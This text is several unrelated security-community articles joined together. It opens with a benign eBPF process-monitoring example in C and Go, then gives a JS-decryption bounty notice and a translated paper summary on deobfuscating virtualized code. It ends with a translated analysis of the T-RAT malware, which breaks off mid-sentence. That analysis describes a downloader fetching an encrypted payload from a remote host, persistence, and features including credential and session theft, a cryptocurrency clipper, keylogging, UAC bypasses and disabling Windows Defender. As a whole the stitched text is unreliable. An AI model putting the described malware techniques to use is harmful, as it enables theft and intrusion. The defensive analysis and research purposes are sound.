#include <linux/kconfig.h>
#include <linux/bpf.h>
#include <linux/ptrace.h>
#include <uapi/linux/ptrace.h>
#include "bpf_helpers.h"
#define ARG_LEN 256
struct execve_data_t {
u64 ktime_ns;
u64 real_start_time_ns;
u32 pid;
u32 uid;
u32 gid;
u32 ppid;
char comm[TASK_COMM_LEN];
};
struct execve_arg_t {
u32 pid;
u32 _pad;
char arg[ARG_LEN];
};
struct execve_rtn_t {
u32 pid;
u32 rtn_code;
};
struct exit_data_t {
u64 ktime_ns;
u32 pid;
u32 _pad;
};
struct bpf_map_def SEC("maps/execve_events") execve_events = {
.type = BPF_MAP_TYPE_PERF_EVENT_ARRAY,
.key_size = sizeof(int),
.value_size = sizeof(__u32),
.max_entries = 1024,
};
int copy_arg(const char *const *src, char *dst) {
char *argp = NULL;
bpf_probe_read(&argp, sizeof(argp), (void*)src);
if (argp) {
bpf_probe_read(dst, ARG_LEN, argp);
return 1;
}
return 0;
}
int send_arg(
struct pt_regs *ctx,
int cpu,
int *i,
const char *const *argv,
struct execve_arg_t *arg_data)
{
if (!copy_arg(&argv[*i], arg_data->arg)) { return 0; }
bpf_perf_event_output(ctx, &execve_events, cpu, arg_data, sizeof(*arg_data));
(*i)++;
return 1;
}
int get_ppid(struct task_struct *task)
{
u32 ppid;
struct task_struct *parent;
bpf_probe_read(&parent, sizeof(parent), &task->real_parent);
bpf_probe_read(&ppid, sizeof(ppid), &parent->pid);
return ppid;
}
u64 get_process_start_time(struct task_struct *task)
{
u64 real_start_time_ns;
bpf_probe_read(&real_start_time_ns, sizeof(real_start_time_ns), &task->real_start_time);
return real_start_time_ns;
}
SEC("kprobe/SyS_execve")
int kprobe__sys_exeve(struct pt_regs *ctx)
{
u64 ktime_ns = bpf_ktime_get_ns();
struct task_struct *task = (struct task_struct *)bpf_get_current_task(); // 4.8
u32 cpu = bpf_get_smp_processor_id();
// Read general execve attributes.
struct execve_data_t execve_data = {
.ktime_ns = ktime_ns,
.real_start_time_ns = get_process_start_time(task),
.pid = bpf_get_current_pid_tgid() >> 32,
.uid = bpf_get_current_uid_gid() >> 32,
.gid = bpf_get_current_uid_gid(),
.ppid = get_ppid(task),
};
bpf_get_current_comm(&execve_data.comm, sizeof(execve_data.comm)); // 4.2
bpf_perf_event_output(ctx, &execve_events, cpu, &execve_data, sizeof(execve_data));
struct execve_arg_t arg_data = {
.pid = execve_data.pid,
};
bpf_probe_read(arg_data.arg, sizeof(arg_data.arg), (void *)PT_REGS_PARM1(ctx));
bpf_perf_event_output(ctx, &execve_events, cpu, &arg_data, sizeof(arg_data)); // 4.4
const char __user *const __user *argv = (void *)PT_REGS_PARM2(ctx);
int i = 0;
if (!send_arg(ctx, cpu, &i, argv, &arg_data)) { return 0; }
char ellipse[] = "...";
bpf_probe_read(arg_data.arg, sizeof(arg_data.arg), (void*)ellipse);
bpf_perf_event_output(ctx, &execve_events, cpu, &arg_data, sizeof(arg_data));
return 0;
}
SEC("kretprobe/SyS_execve")
int kretprobe__sys_exeve(struct pt_regs *ctx)
{
struct execve_rtn_t rtn_data = {
.pid = bpf_get_current_pid_tgid() >> 32,
.rtn_code = PT_REGS_RC(ctx),
};
u32 cpu = bpf_get_smp_processor_id();
bpf_perf_event_output(ctx, &execve_events, cpu, &rtn_data, sizeof(rtn_data));
return 0;
}
SEC("kprobe/do_exit")
int kprobe__do_exit(struct pt_regs *ctx)
{
struct exit_data_t exit_data = {
.ktime_ns = bpf_ktime_get_ns(),
.pid = bpf_get_current_pid_tgid() >> 32,
};
u32 cpu = bpf_get_smp_processor_id();
bpf_perf_event_output(ctx, &execve_events, cpu, &exit_data, sizeof(exit_data));
return 0;
}
char _license[] SEC("license") = "GPL";
bpf_helpers.h 文件
#define SEC(NAME) __attribute__((section(NAME), used))
#define printt(fmt, ...) \
({ \
char ____fmt[] = fmt; \
bpf_trace_printk(____fmt, sizeof(____fmt), ##__VA_ARGS__); \
})
/* helper functions called from eBPF programs written in C */
static void *(*bpf_map_lookup_elem)(void *map, void *key) =
(void *) BPF_FUNC_map_lookup_elem;
static int (*bpf_map_update_elem)(void *map, void *key, void *value,
unsigned long long flags) =
(void *) BPF_FUNC_map_update_elem;
static int (*bpf_map_delete_elem)(void *map, void *key) =
(void *) BPF_FUNC_map_delete_elem;
static int (*bpf_probe_read)(void *dst, int size, void *unsafe_ptr) =
(void *) BPF_FUNC_probe_read;
static unsigned long long (*bpf_ktime_get_ns)(void) =
(void *) BPF_FUNC_ktime_get_ns;
static int (*bpf_trace_printk)(const char *fmt, int fmt_size, ...) =
(void *) BPF_FUNC_trace_printk;
static unsigned long long (*bpf_get_smp_processor_id)(void) =
(void *) BPF_FUNC_get_smp_processor_id;
static unsigned long long (*bpf_get_current_pid_tgid)(void) =
(void *) BPF_FUNC_get_current_pid_tgid;
static unsigned long long (*bpf_get_current_uid_gid)(void) =
(void *) BPF_FUNC_get_current_uid_gid;
static int (*bpf_get_current_comm)(void *buf, int buf_size) =
(void *) BPF_FUNC_get_current_comm;
static int (*bpf_perf_event_read)(void *map, int index) =
(void *) BPF_FUNC_perf_event_read;
static int (*bpf_clone_redirect)(void *ctx, int ifindex, int flags) =
(void *) BPF_FUNC_clone_redirect;
static int (*bpf_redirect)(int ifindex, int flags) =
(void *) BPF_FUNC_redirect;
static int (*bpf_perf_event_output)(void *ctx, void *map,
unsigned long long flags, void *data,
int size) =
(void *) BPF_FUNC_perf_event_output;
static int (*bpf_skb_get_tunnel_key)(void *ctx, void *key, int size, int flags) =
(void *) BPF_FUNC_skb_get_tunnel_key;
static int (*bpf_skb_set_tunnel_key)(void *ctx, void *key, int size, int flags) =
(void *) BPF_FUNC_skb_set_tunnel_key;
static unsigned long long (*bpf_get_prandom_u32)(void) =
(void *) BPF_FUNC_get_prandom_u32;
static int (*bpf_current_task_under_cgroup)(void *map, int index) =
(void *) BPF_FUNC_current_task_under_cgroup;
static int *(*bpf_get_current_task)(void) =
(void *) BPF_FUNC_get_current_task;
/* llvm builtin functions that eBPF C program may use to
* emit BPF_LD_ABS and BPF_LD_IND instructions
*/
struct sk_buff;
unsigned long long load_byte(void *skb,
unsigned long long off) asm("llvm.bpf.load.byte");
unsigned long long load_half(void *skb,
unsigned long long off) asm("llvm.bpf.load.half");
unsigned long long load_word(void *skb,
unsigned long long off) asm("llvm.bpf.load.word");
/* a helper structure used by eBPF C program
* to describe map attributes to elf_bpf loader
*/
#define BUF_SIZE_MAP_NS 256
struct bpf_map_def {
unsigned int type;
unsigned int key_size;
unsigned int value_size;
unsigned int max_entries;
unsigned int map_flags;
unsigned int pinning;
char namespace[BUF_SIZE_MAP_NS];
};
static int (*bpf_skb_store_bytes)(void *ctx, int off, void *from, int len, int flags) =
(void *) BPF_FUNC_skb_store_bytes;
static int (*bpf_l3_csum_replace)(void *ctx, int off, int from, int to, int flags) =
(void *) BPF_FUNC_l3_csum_replace;
static int (*bpf_l4_csum_replace)(void *ctx, int off, int from, int to, int flags) =
(void *) BPF_FUNC_l4_csum_replace;
#if defined(__x86_64__)
#define PT_REGS_PARM1(x) ((x)->di)
#define PT_REGS_PARM2(x) ((x)->si)
#define PT_REGS_PARM3(x) ((x)->dx)
#define PT_REGS_PARM4(x) ((x)->cx)
#define PT_REGS_PARM5(x) ((x)->r8)
#define PT_REGS_RET(x) ((x)->sp)
#define PT_REGS_FP(x) ((x)->bp)
#define PT_REGS_RC(x) ((x)->ax)
#define PT_REGS_SP(x) ((x)->sp)
#define PT_REGS_IP(x) ((x)->ip)
#elif defined(__s390x__)
#define PT_REGS_PARM1(x) ((x)->gprs[2])
#define PT_REGS_PARM2(x) ((x)->gprs[3])
#define PT_REGS_PARM3(x) ((x)->gprs[4])
#define PT_REGS_PARM4(x) ((x)->gprs[5])
#define PT_REGS_PARM5(x) ((x)->gprs[6])
#define PT_REGS_RET(x) ((x)->gprs[14])
#define PT_REGS_FP(x) ((x)->gprs[11]) /* Works only with CONFIG_FRAME_POINTER */
#define PT_REGS_RC(x) ((x)->gprs[2])
#define PT_REGS_SP(x) ((x)->gprs[15])
#define PT_REGS_IP(x) ((x)->ip)
#elif defined(__aarch64__)
#define PT_REGS_PARM1(x) ((x)->regs[0])
#define PT_REGS_PARM2(x) ((x)->regs[1])
#define PT_REGS_PARM3(x) ((x)->regs[2])
#define PT_REGS_PARM4(x) ((x)->regs[3])
#define PT_REGS_PARM5(x) ((x)->regs[4])
#define PT_REGS_RET(x) ((x)->regs[30])
#define PT_REGS_FP(x) ((x)->regs[29]) /* Works only with CONFIG_FRAME_POINTER */
#define PT_REGS_RC(x) ((x)->regs[0])
#define PT_REGS_SP(x) ((x)->sp)
#define PT_REGS_IP(x) ((x)->pc)
#elif defined(__powerpc__)
#define PT_REGS_PARM1(x) ((x)->gpr[3])
#define PT_REGS_PARM2(x) ((x)->gpr[4])
#define PT_REGS_PARM3(x) ((x)->gpr[5])
#define PT_REGS_PARM4(x) ((x)->gpr[6])
#define PT_REGS_PARM5(x) ((x)->gpr[7])
#define PT_REGS_RC(x) ((x)->gpr[3])
#define PT_REGS_SP(x) ((x)->sp)
#define PT_REGS_IP(x) ((x)->nip)
#endif
#ifdef __powerpc__
#define BPF_KPROBE_READ_RET_IP(ip, ctx) ({ (ip) = (ctx)->link; })
#define BPF_KRETPROBE_READ_RET_IP BPF_KPROBE_READ_RET_IP
#else
#define BPF_KPROBE_READ_RET_IP(ip, ctx) ({ \
bpf_probe_read(&(ip), sizeof(ip), (void *)PT_REGS_RET(ctx)); })
#define BPF_KRETPROBE_READ_RET_IP(ip, ctx) ({ \
bpf_probe_read(&(ip), sizeof(ip), \
(void *)(PT_REGS_FP(ctx) + sizeof(ip))); })
#endif
#endif
Makefile
project_root=$(shell pwd)
uname=$(shell uname -r)
kernel_src=$(shell rpm -qa kernel-devel | head -1 | sed 's/kernel-devel-//g' | awk '{print "/usr/src/kernels/"$$1""}')
all: build
build:
clang \
-D__KERNEL__ \
-D__ASM_SYSREG_H \
-Wno-address-of-packed-member \
-O2 -emit-llvm -c exec.c \
-I $(project_root) \
-I $(kernel_src)/arch/x86/include \
-I $(kernel_src)/arch/x86/include/generated \
-I $(kernel_src)/include \
-o - | \
llc -march=bpf -filetype=obj -o exec.o
.PHONY: all build
go接受数据：
package main
import (
"bytes"
"encoding/binary"
"encoding/json"
"fmt"
bpf "github.com/iovisor/gobpf/elf"
"github.com/pkg/errors"
"io/ioutil"
"os"
"os/signal"
"sync"
"time"
"unsafe"
)
var (
sizeofExecveData = int(unsafe.Sizeof(ExecveData{}))
sizeofExecveArg = int(unsafe.Sizeof(ExecveArg{}))
sizeofExecveRtn = int(unsafe.Sizeof(ExecveRtn{}))
sizeofExitData = int(unsafe.Sizeof(ExitData{}))
)
const (
execveProbe = "kprobe/SyS_execve"
execveReturnProbe = "kretprobe/SyS_execve"
execveMap = "execve_events"
doExitProbe = "kprobe/do_exit"
)
type ExecveData struct {
KTimeNS time.Duration
RealStartTimeNS time.Duration
PID uint32
UID uint32
GID uint32
PPID uint32
Comm [16]byte
}
type ExecveArg struct {
PID uint32
_ uint32
Arg [256]byte
}
type ExecveRtn struct {
PID uint32
ReturnCode int32
}
type ExitData struct {
KTime uint64
PID uint32
}
type processData struct {
StartTime time.Time `json:"start_time"`
PPID uint32 `json:"ppid"`
ParentComm string `json:"parent_comm,omitempty"`
PID uint32 `json:"pid"`
UID uint32 `json:"uid"`
GID uint32 `json:"gid"`
Comm string `json:"comm,omitempty"`
Exe string `json:"exe,omitempty"`
Args []string `json:"args,omitempty"`
}
type ProcessStarted struct {
Type string `json:"type"`
processData
}
type ProcessExited struct {
Type string `json:"type"`
processData
EndTime time.Time `json:"end_time"`
RunningTime time.Duration `json:"running_time_ns"`
}
type ProcessError struct {
Type string `json:"type"`
processData
ErrorCode int32 `json:"error_code"`
}
type ProcessMonitor struct {
module *bpf.Module
execvePerfMap *bpf.PerfMap
bpfEvents chan []byte
lostBPFEvents chan uint64
lostCount uint64
bootTime time.Time
processTable map[uint32]*process
warnOnce sync.Once
output chan interface{}
done <-chan struct{}
}
type eventSource int
const (
sourceBPF eventSource = iota + 1
)
type processState int
const (
stateStarted processState = iota + 1
stateError
stateExited
)
type process struct {
processData
State processState
Source eventSource
EndTime time.Time
ErrorCode int32
}
func NewMonitor() (*ProcessMonitor, error) {
return &ProcessMonitor{
processTable: map[uint32]*process{},
}, nil
}
func (m *ProcessMonitor) Start(done <-chan struct{}) (<-chan interface{}, error) {
if err := m.initBPF(); err != nil {
return nil, err
}
m.output = make(chan interface{}, 1)
go func() {
defer close(m.output)
defer m.execvePerfMap.PollStop()
defer m.module.Close()
for {
select {
case data := <-m.bpfEvents:
m.handleBPFData(data)
case count := <-m.lostBPFEvents:
m.lostCount += count
fmt.Printf("%v messages from kernel dropped", count)
case <-done:
return
}
}
}()
return m.output, nil
}
func (m *ProcessMonitor) initBPF() error {
data, err := ioutil.ReadFile("exec.o")
if err != nil {
return errors.Wrap(err, "failed to load embedded ebpf code")
}
m.module = bpf.NewModuleFromReader(bytes.NewReader(data))
if err := m.module.Load(nil); err != nil {
return errors.Wrap(err, "failed to load ebpf module to kernel")
}
m.bpfEvents = make(chan []byte, 64)
m.lostBPFEvents = make(chan uint64, 1)
m.execvePerfMap, err = bpf.InitPerfMap(m.module, execveMap, m.bpfEvents, m.lostBPFEvents)
if err != nil {
m.module.Close()
return errors.Wrapf(err, "failed to initialize %v perf map", execveMap)
}
if err := m.module.EnableKprobe(execveProbe, 0); err != nil {
m.module.Close()
return errors.Wrapf(err, "failed to enable %v probe", execveProbe)
}
if err := m.module.EnableKprobe(execveReturnProbe, 0); err != nil {
m.module.Close()
return errors.Wrapf(err, "failed to enable %v probe", execveReturnProbe)
}
if err := m.module.EnableKprobe(doExitProbe, 0); err != nil {
m.module.Close()
return errors.Wrapf(err, "failed to enable %v probe", doExitProbe)
}
m.execvePerfMap.PollStart()
return nil
}
func (m *ProcessMonitor) handleBPFData(data []byte) {
switch len(data) {
case sizeofExecveData:
event, err := unmarshalData(data)
if err != nil {
fmt.Println("failed to unmarshal execve data")
return
}
if _, exists := m.processTable[event.PID]; exists {
return
}
m.processTable[event.PID] = &process{
State: stateStarted,
Source: sourceBPF,
processData: processData{
StartTime: m.bootTime.Add(event.RealStartTimeNS),
PPID: event.PPID,
ParentComm: NullTerminatedString(event.Comm[:]),
PID: event.PID,
UID: event.UID,
GID: event.GID,
},
}
case sizeofExecveArg:
event, err := unmarshalArg(data)
if err != nil {
fmt.Println("failed to unmarshal execve arg")
return
}
p, found := m.processTable[event.PID]
if !found {
return
}
// The first argument sent is the exe.
arg := NullTerminatedString(event.Arg[:])
if len(p.Exe) == 0 {
p.Exe = arg
return
}
p.Args = append(p.Args, arg)
case sizeofExecveRtn:
event, err := unmarshalRtn(data)
if err != nil {
fmt.Println("failed to unmarshal execve return")
return
}
p, found := m.processTable[event.PID]
if !found {
return
}
if event.ReturnCode != 0 {
p.State = stateError
p.ErrorCode = event.ReturnCode
}
m.publish(p)
case sizeofExitData:
event, err := unmarshalExitData(data)
if err != nil {
fmt.Println("failed to unmarshal exit data")
return
}
p, found := m.processTable[event.PID]
if !found || p.ErrorCode != 0 {
return
}
p.State = stateExited
p.EndTime = m.bootTime.Add(time.Duration(event.KTime))
delete(m.processTable, event.PID)
m.publish(p)
}
}
func (m *ProcessMonitor) publish(p *process) {
var event interface{}
switch p.State {
case stateStarted:
event = ProcessStarted{
Type: "started",
processData: p.processData,
}
case stateExited:
event = ProcessExited{
Type: "exited",
processData: p.processData,
EndTime: p.EndTime,
RunningTime: p.EndTime.Sub(p.StartTime),
}
case stateError:
event = ProcessError{
Type: "error",
processData: p.processData,
ErrorCode: p.ErrorCode,
}
default:
return
}
select {
case <-m.done:
case m.output <- event:
}
}
func unmarshalData(data []byte) (ExecveData, error) {
var event ExecveData
err := binary.Read(bytes.NewReader(data), binary.LittleEndian, &event)
return event, err
}
func unmarshalArg(data []byte) (ExecveArg, error) {
var event ExecveArg
err := binary.Read(bytes.NewReader(data), binary.LittleEndian, &event)
return event, err
}
func unmarshalRtn(data []byte) (ExecveRtn, error) {
var event ExecveRtn
err := binary.Read(bytes.NewReader(data), binary.LittleEndian, &event)
return event, err
}
func unmarshalExitData(data []byte) (ExitData, error) {
var event ExitData
err := binary.Read(bytes.NewReader(data), binary.LittleEndian, &event)
return event, err
}
func NullTerminatedString(data []byte) string {
nullTerm := bytes.IndexByte(data, 0)
if nullTerm == -1 {
return string(data)
}
return string(data[:nullTerm])
}
func main() {
m, err := NewMonitor()
if err != nil {
fmt.Println("failed to create exec monitor",err)
}
done := make(chan struct{})
events, err := m.Start(done)
if err != nil {
fmt.Println("failed to start exec monitor",err)
}
sig := make(chan os.Signal, 1)
signal.Notify(sig, os.Interrupt, os.Kill)
go func() {
<-sig
close(done)
os.Exit(1)
}()
for e := range events {
data, _ := json.Marshal(e)
fmt.Println(string(data))
}
}
全文介绍了一下eBPF 的由来，以及ePBF 的技术部分。抓取了sys_execve 以此抛砖引玉，目前，ePBF
还在发展，部分API还不稳定，但是，已经可以低版本的内核有限的使用了。未来eBPF会使用面会越来越广。 | 社区文章 |
先知众测向你发出一个新年挑战，完成解密即可获得1000元奖金！
测试环境：
<http://js.aliyundemo.cn/>
要求:
1.成功解密JS校验算法，可写程序实现算法逻辑。
2.发现有效的低成本绕过方案(不使用webkit、浏览器插件、js引擎直接获取js执行结果)。
3.要求写清楚解密或者绕过的方案，相同的姿势确认优先提交的哦~
说明:
使用webkit、浏览器插件、js引擎直接运行加密代码及类似的绕过方案无效。
本次挑战的核心是解密JS校验算法；如果有发现其它低成本的绕过方案，会有审核团队和安全专家评估后确认是否有效。
提交：
先知（xianzhi.aliyun.com），选众测-其他进行提交；
标题格式：[新年挑战]XXXX | 社区文章 |
# 符号反混淆：从虚拟代码中恢复源码(DIMVA 2018)
##### 译文声明
本文是翻译文章，文章原作者 Jonathan Salwan，文章来源：blog.quarkslab.com
原文地址：<https://blog.quarkslab.com/symbolic-deobfuscation-from-virtualized-code-back-to-the-original-dimva-2018.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 前言
自2016年以来，我们一直在研究符号执行和二进制反混淆，以便：(1)测试和改进我们的二进制保护器([Epona](https://epona.quarkslab.com/en))
。(2)改进我们的DSE（动态符号执行）框架（ ([Triton](http://triton.quarkslab.com/))。上周，我们在[DIMVA
2018](http://www.dimva2018.org/program)上发布了这项研究的一部分，重点是关于攻击虚拟化的软件保护，特别是当哈希函数被虚拟化以保护完整性检查、识别等。在这项研究中，我们依赖的是一个开源的保护器([Tigress](http://tigress.cs.arizona.edu/))
并提供了攻击的脚本和结果以及[Tigress
challenge](http://tigress.cs.arizona.edu/challenges.html)的一些解决方案。
* [Paper (DIMVA)](https://triton.quarkslab.com/files/DIMVA2018-deobfuscation-salwan-bardin-potet.pdf)
* [Slides (DIMVA)](https://triton.quarkslab.com/files/DIMVA2018-slide-deobfuscation-salwan-bardin-potet.pdf)
* [Scripts and results](https://github.com/JonathanSalwan/Tigress_protection)
论文中详细阐述了一切，但我们将在这篇博客中总结我们的方法的要点和结果。
## 2\. 我们的方案
我们的方法依赖于关键的直觉，即虚拟化跟踪结合了来自源程序行为的指令和来自虚拟机处理的指令。如果我们能够区分这两个指令子集，我们能够避免来自虚拟机处理的指令，并且只保留源程序行为的一部分指令。为了做到这一点，我们需要识别虚拟机的输入，并且我们都要污染并标记这些输入。然后，我们执行由受污染的信息引导的动态符号执行，并将未被污染的所有内容具体化。这意味着我们具体化了与VM的输入无关的所有东西，因此，我们只保留了原始程序行为的一部分的指令——换句话说
，我们避免了使用基于污染的具体化策略的虚拟机处理的一部分的指令。
在该步骤中，我们只能对一个路径进行虚拟化，因此，为了使整个程序行为去虚拟化，我们基于第一个符号执行来执行动态符号搜索，然后，我们构建一个基于符号搜索的符号表达式的路径树。
现在我们已经将整个程序行为作为符号表达式(没有虚拟机处理)，我们将符号表示转换为LLVM-IR表示，然后在没有虚拟化保护的情况下重新编译一个新的二进制文件。
## 3\. 实验
为了评估我们的方法，我们做了两个实验， 第一种设置为在受控的情况下，第二种设置在不受控的情况下即Tigress challenge
，然后我们定义了三个标准：
* 精度
* 准确：在语义上，代码是否与原始代码等价？
* 简洁：代码的大小与原始代码的大小相似吗？
* 效率（可量测性 ）：RAM/Time 多少?
* 健壮性 : w.r.t.保护：具体的保护措施对我们的分析的影响比其他的更大吗？
### 3.1 受控制实验设置
在受控设置中，我们获得了20种哈希算法和46种不同的Tigress保护(它们都与虚拟化有关，比如不同类型的调度程序、操作数.)，然后我们用不同的保护来编译这些哈希算法，从而给出了920个受保护样本的数据集。
目的是使用我们的方法(这里的[脚本](https://github.com/JonathanSalwan/Tigress_protection/blob/master/solve-vm-multiple-br.py))去虚拟化这些样本，
并将结果（根据以前的标准）与原始版本进行比较。结果表明，对于大小接近原始样本的所有样本，我们在语义上都是正确的，甚至在某些情况下小于原始样本(见下表(b))。
关于我们方法的效率，我们根据执行指令的数量进行线性分析。 我们在不到5秒的时间内成功地对大部分样品进行了虚拟化（参见下图）,
最糟糕的样本耗时超过100秒，基本上是包含两级虚拟化的样本，涉及大约5000万条指令。
然后，关于我们的方法的健壮性，我们注意到我们的方法的简洁性并不依赖于应用的保护。例如，如果我们使用46种不同的保护（以及46种不同的受保护二进制文件）虚拟化MD5哈希算法，然后我们应用我们的方法来虚拟化这46种不同版本的受保护MD5算法，我们得到46个具有相同版本的虚拟化版本，它们都具有相同的简洁性。下图表示各种调度程序的同一程序的原始（棕色），受保护（蓝色）和虚拟化（红色）版本的指令数。我们可以很快看到受保护版本（蓝色）的指令数量根据调度程序的不同而有所不同，但经过我们的分析，无论调度程序使用了什么，我们都恢复了相同数量的指令（红色），这些指令接近于
原始版本的说明（棕色）。
可以在[论文](https://triton.quarkslab.com/files/DIMVA2018-deobfuscation-salwan-bardin-potet.pdf)中查看更多详细信息和指标结果。
### 3.2 不受控的实验设置(Tigress challenges)
我们也进行了Tigress
challenges这个挑战，挑战包括35个具有不同混淆程度的虚拟机（参见下表）。所有挑战都是一致的：有一个虚拟化的散列函数f(x)—>x’，其中x是一个整数，目标是尽可能接近恢复原始散列算法（所有算法都是自定义的）。根据他们的挑战状况，之前只解决了挑战0000，2016年10月28日，我们发布了一个挑战0000到0004的解决方案，
并在2017年SSTIC上做了演示(每个挑战包含5个二进制文件，产生25个虚拟机代码)。
我们不分析JIT二进制文件(0005和0006)，因为我们的实现目前不支持JIT。
我们能够以正确、准确和有效的方式自动解决上述所有公开挑战，这表明我们在受控实验中观察到的良好结果扩展到了不受控制的情况。
已通过随机测试和手工检查对校正进行了检查。最困难的挑战系列是0004，有两个虚拟化级别。
例如，第0004-3号挑战包含1.4亿条指令，2小时内减少到320条(见下表)。
## 4\. 限制和移植
我们的主要限制之一是，我们的方法是针对具有少量受污染路径的程序，这对于哈希算法来说不是问题，但对于其他虚拟化程序(如恶意软件)来说可能是一个很强的限制。然后，我们的DSE模型(即Triton)不支持用户依赖的内存访问。
然后，多线程、浮点算法和系统调用超出了符号推理的范围。 此外，由于我们的方法基于动态分析，因此展开循环和递归调用，这可能会大大增加非虚拟化代码的大小。
潜在的防御措施可能是攻击我们的方法，比如杀掉污点或者尽可能地传播它来影响我们的精确性。它也有可能杀死我们的动态符号搜索，添加一些依赖于污染数据（VM的输入）的哈希条件，如[之前的博文](https://blog.quarkslab.com/mistreating-triton.html)中所述。 例如： `if (hash(tainted_x) == 0x123456789)`
这儿`hash()`是一种加密哈希算法。 如果我们不能搜索整个程序的行为，它将导致程序的不正确的非虚拟化版本。
另一个有趣的防御措施是保护虚拟机的字节码，而不是保护其组件。因此，如果虚拟机被破坏，攻击者就会得到混淆的伪代码。 例如：这个字节码可以被转换成不可读的
Mixed Boolean Arithmetic (MBA)表达式。
审核人：yiwang 编辑：边边 | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.gdatasoftware.com/blog/trat-control-via-smartphone>**
### 前言
恶意软件攻击者希望通过便利功能吸引客户。现在，攻击者只需使用智能手机和Telegram应用程序，就可以远程控制恶意软件。
### 俄罗斯论坛上的广告
研究人员@3xp0rtblog发现了T-rat2.0，并在Twitter上发布了它，其中包括示例哈希值和销售线程。一个奢侈的广告如下所示。
下图显示了lolz.guru（由3xp0rtblog发现并报告）上张贴广告的部分内容。它赞扬了使用T-RAT时的舒适性和便利性，因为它可以通过带有Telegram应用程序的智能手机进行控制。
翻译：更新的，成熟的RAT。放在口袋里就可以访问和使用所有功能。只需Internet和T-RAT就可以从任何设备进行控制，使其正常工作。
翻译：优点：舒适，方便，控制简单，功能丰富，匿名性和可靠性……
### 感染链和持久性
第一个已知阶段是下载器[4]，它从hxxps://hgfhhdsf.000webhostapp.com/1DJjnw(dot)jpg获取加密的文件[6]，并将其保存到%TEMP%/gfdggfd.jpg。
为了解密有效负载，下载程序将密钥0x01应用于XOR。生成的文件是一个ZIP存档，它将保存到%TEMP%/hrtghgesd.zip中。下载程序将删除%TEMP%/gfdggfd.jpg并提取ZIP存档。注意：这两个硬编码名称均由QWERTY键盘上的按键彼此相邻的字符组成，因此攻击者可能只是在键盘上滚动来创建它们。
提取的恶意软件的位置确定如下：
（1）下载器检查当前用户是否具有管理员权限。如果有，则路径的第一部分是以下内容之一（随机选择）。
* %APPDATA%\Microsoft\Windows\
* %USERPROFILE%\Windows\System32\
* %LOCALAPPDATA%\Microsoft\Windows\
如果他们没有管理员权限，则路径的第一部分为以下内容之一：
* %SYSTEM%\Microsoft\Protect\
* %COMMONAPPDATA%\Microsoft\Windows\
* %USERPROFILE%\AppData\LocalLow\Microsoft\Windows\
* C:\Windows\assembly\GAC\
（2）对于恶意软件路径的第二部分，下载程序生成一个介于347和568203之间的随机数，将其转换为字符串，然后使用MD5，SHA1或SHA256生成哈希。它使用哈希的十六进制表示形式作为恶意软件路径的第二部分。
该档案包含实际的T-RAT可执行文件sihost.exe，以及几个DLL文件。一些值得注意的库是Telegram.Bot.dll和socks5.dll。
名为service的子文件夹包含另外六个文件（哈希在IoC列表中）：
该下载程序通过安排日常任务来保留sihost.exe。任务的名称是系统的处理器ID。如果当前用户具有管理员权限，则会将运行级别设置为HIGHEST。之后，下载程序将在批处理文件的帮助下删除自己。
ZIP存档的内容[3]
ZIP归档文件中服务文件夹的内容[3]
### 封隔器和混淆器
原始的T-RAT示例[1]和下载程序[4]是.NET程序集，他们以相同的方式打包。打包的部分作为base64字符串嵌入在文件的叠加层中。字符串的开头和结尾由序列“ghjghjbnv”标记。打包程序存根会搜索序列以找到打包的图像，解码base64字符串并动态加载生成的.NET程序集。
十六进制编辑器中带有标记序列的base64字符串
PortexAnalyzer可视化效果使base64字符串在字节图中显示为蓝色区域
解压缩的.NET程序集被ConfuserEx的变体所模糊。某些俄语字符串是可见的，但大多数引用的字符串都是base64编码的。
用NoFuserEx对程序集进行模糊处理后，将保留base64编码的字符串。我编写了一个小的Python脚本来完成其余的工作（请参阅附录A）。它用NOP替换了对FromBase64String的调用的IL代码，并将base64字符串替换为其已解码的对应字符串。由于解码的字符串较短，因此其余部分将填充为U
+ 200B，这是零宽度空间Unicode字符。（注意：这是一个相当懒惰的解决方案，它不会创建完美运行的可执行文件，但足以进行持续的静态分析。）
此程序集的混淆处理中最耗时的部分无法自动化。方法和类的符号名称已由混淆器消除。因此，在分析T-RAT的代码时，我在此过程中添加了自己的名称。该代码库具有98个不同的命令来控制T-RAT客户端。
手动混淆前后的T-RAT样本
### 功能概述
攻击者使用基于文本的命令和RAT提供的命令按钮，通过电报控制T-RAT。命令使用英语，帮助消息大多为俄语。广告横幅的一部分展示了这些控件以及它们在手机上的外观（请参见下图）。
第一段翻译：您将获得什么？成熟RAT。我们的产品具有有趣且最重要的必需功能：RAT、窃取程序、键盘记录程序VNC、HRDP、Clipper、隐藏代理服务器等等。我们邀请您更详细地了解我们的功能。
U-RAT有98条命令。我没有在主要文章中描述每个命令，而是将它们分为几组，下面将对其进行说明。完整的命令清单在附录B中。
1. Menu navigation
这些用于进入或退出某些模块（如文件管理器）。它们有助于通过智能手机进行更方便的控制。
2. File manager
T-RAT可以在文件系统上导航，显示有关驱动器和可用空间，文件夹内容以及修改文件和文件夹的信息。它还可以将文件发送给攻击者。有趣的是，它混入了Unix命令名称。例如，文件列表是通过ls完成的。
3. Stealer
该模块允许从浏览器获取密码，Cookie，自动填充数据，Telegram、Discord、Steam、Nord、Viber、Skype和Filezilla的会话或配置数据。在发送到Telegram之前，大多数数据文件除了将T-RAT可执行文件保存在文本文件中外，还保存在%TEMP%/winsys/中的ZIP存档中。
4. Clipper
Clipper检查剪贴板上的硬币地址并替换它们，因此，任何数字货币都会被发送到攻击者的钱包中。它支持Qiwi、WMR、WMZ、WME、WMX、Yandex
money、Payer、CC、BTC、BTCG、Ripple、Doge和Tron。攻击者使用clipper命令保存指定加密货币的地址，并启动或停止clipper的执行。
5. Monitoring and spying
攻击者可以运行键盘记录器，创建屏幕截图，通过麦克风录制音频，通过网络摄像头拍照，发送剪贴板内容。
6. Evasion
T-RAT有多种绕过UAC的方法，包括Fodhelper，Cmstp，Cleanup和Computerdefaults。它可以禁用Windows
Defender和智能屏幕通知。它可以禁用各种安全设置，例如，可以更改关联策略以将“.exe”设置为低风险文件扩展名，并可以关闭ZoneIdentifiers。它可以检查沙箱和虚拟机。
7. Disruption
这些命令杀死进程、通过主机文件阻止网站、通过图像文件执行选项设置调试器来阻止和重定向程序（因为阻止调试器是不存在的）、禁用任务栏和任务管理器。
8. Remote control
T-RAT通过电报提供Powershell或CMD终端。也可以通过HRDP或VNC进行远程控制。
T-RAT运行名为service \
